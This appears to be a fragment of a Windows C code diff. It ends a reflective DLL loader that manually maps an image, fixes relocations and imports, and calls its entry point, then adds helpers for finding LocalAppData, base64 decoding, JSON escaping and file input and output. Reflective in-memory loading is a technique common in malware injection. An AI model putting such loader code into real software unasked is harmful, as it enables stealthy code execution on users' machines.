if (pRelocEntry[k].type == IMAGE_REL_BASED_HIGHLOW)
{
*(DWORD *)(uiNewImageBase + pRelocBlock->VirtualAddress + pRelocEntry[k].offset) += (DWORD)uiDelta;
}
#endif
}
pRelocBlock = (PIMAGE_BASE_RELOCATION)((ULONG_PTR)pRelocBlock + pRelocBlock->SizeOfBlock);
}
}
PIMAGE_DATA_DIRECTORY pImportData = &pOldNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
if (pImportData->Size > 0)
{
PIMAGE_IMPORT_DESCRIPTOR pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)(uiNewImageBase + pImportData->VirtualAddress);
while (pImportDesc->Name)
{
char *sModuleName = (char *)(uiNewImageBase + pImportDesc->Name);
HINSTANCE hModule = fnLoadLibraryA(sModuleName);
if (hModule)
{
PIMAGE_THUNK_DATA pOriginalFirstThunk = (PIMAGE_THUNK_DATA)(uiNewImageBase + pImportDesc->OriginalFirstThunk);
PIMAGE_THUNK_DATA pFirstThunk = (PIMAGE_THUNK_DATA)(uiNewImageBase + pImportDesc->FirstThunk);
if (!pOriginalFirstThunk)
pOriginalFirstThunk = pFirstThunk;
while (pOriginalFirstThunk->u1.AddressOfData)
{
FARPROC pfnImportedFunc;
if (IMAGE_SNAP_BY_ORDINAL(pOriginalFirstThunk->u1.Ordinal))
{
pfnImportedFunc = fnGetProcAddress(hModule, (LPCSTR)(pOriginalFirstThunk->u1.Ordinal & 0xFFFF));
}
else
{
PIMAGE_IMPORT_BY_NAME pImportByName = (PIMAGE_IMPORT_BY_NAME)(uiNewImageBase + pOriginalFirstThunk->u1.AddressOfData);
pfnImportedFunc = fnGetProcAddress(hModule, pImportByName->Name);
}
pFirstThunk->u1.Function = (ULONG_PTR)pfnImportedFunc;
pOriginalFirstThunk++;
pFirstThunk++;
}
}
pImportDesc++;
}
}
DLLMAIN_FN fnDllEntry = (DLLMAIN_FN)(uiNewImageBase + pOldNtHeaders->OptionalHeader.AddressOfEntryPoint);
fnNtFlushInstructionCache((HANDLE)-1, NULL, 0);
fnDllEntry((HINSTANCE)uiNewImageBase, DLL_PROCESS_ATTACH, lpLoaderParameter);
return uiNewImageBase;
}
+122
View File
@@ -0,0 +1,122 @@
#include "utils.h"
#include "buffer.h"
#include <Windows.h>
#include <ShlObj.h>
#include <Wincrypt.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#pragma comment(lib, "Crypt32.lib")
bool get_local_appdata_path(wchar_t* path, size_t len) {
PWSTR folder_path = NULL;
HRESULT hr = SHGetKnownFolderPath(&FOLDERID_LocalAppData, 0, NULL, &folder_path);
if (SUCCEEDED(hr)) {
wcsncpy_s(path, len, folder_path, _TRUNCATE);
CoTaskMemFree(folder_path);
return true;
}
return false;
}
ByteBuffer* base64_decode(const char* input) {
if (!input) return NULL;
DWORD size = 0;
if (!CryptStringToBinaryA(input, 0, CRYPT_STRING_BASE64, NULL, &size, NULL, NULL)) {
return NULL;
}
ByteBuffer* buf = buffer_create(size);
if (!buf) return NULL;
if (!CryptStringToBinaryA(input, 0, CRYPT_STRING_BASE64, buf->data, &size, NULL, NULL)) {
buffer_destroy(buf);
return NULL;
}
buf->size = size;
return buf;
}
void bytes_to_hex(const uint8_t* bytes, size_t len, char* out, size_t out_len) {
if (!bytes || !out || out_len < len * 2 + 1) return;
for (size_t i = 0; i < len; i++) {
sprintf_s(out + i * 2, out_len - i * 2, "%02x", bytes[i]);
}
}
char* escape_json_string(const char* str) {
if (!str) return NULL;
size_t len = strlen(str);
size_t escaped_len = len * 6 + 1;
char* escaped = malloc(escaped_len);
if (!escaped) return NULL;
size_t j = 0;
for (size_t i = 0; i < len && j < escaped_len - 6; i++) {
switch (str[i]) {
case '"': escaped[j++] = '\\'; escaped[j++] = '"'; break;
case '\\': escaped[j++] = '\\'; escaped[j++] = '\\'; break;
case '\b': escaped[j++] = '\\'; escaped[j++] = 'b'; break;
case '\f': escaped[j++] = '\\'; escaped[j++] = 'f'; break;
case '\n': escaped[j++] = '\\'; escaped[j++] = 'n'; break;
case '\r': escaped[j++] = '\\'; escaped[j++] = 'r'; break;
case '\t': escaped[j++] = '\\'; escaped[j++] = 't'; break;
default:
if (str[i] >= 0 && str[i] <= 0x1f) {
j += sprintf_s(escaped + j, escaped_len - j, "\\u%04x", (int)str[i]);
}
else {
escaped[j++] = str[i];
}
}
}
escaped[j] = '\0';
return escaped;
}
bool read_file_content(const wchar_t* path, char** content, size_t* size) {
if (!path || !content || !size) return false;
FILE* f = NULL;
if (_wfopen_s(&f, path, L"rb") != 0 || !f) return false;
fseek(f, 0, SEEK_END);
long file_size = ftell(f);
fseek(f, 0, SEEK_SET);
if (file_size < 0) {
fclose(f);
return false;
}
*content = malloc(file_size + 1);
if (!*content) {
fclose(f);
return false;
}
size_t read_size = fread(*content, 1, file_size, f);
fclose(f);
(*content)[read_size] = '\0';
*size = read_size;
return true;
}
bool write_file_content(const wchar_t* path, const char* content, size_t size) {
if (!path || !content) return false;
FILE* f = NULL;
if (_wfopen_s(&f, path, L"wb") != 0 || !f) return false;
size_t written = fwrite(content, 1, size, f);
fclose(f);
return written == size;
}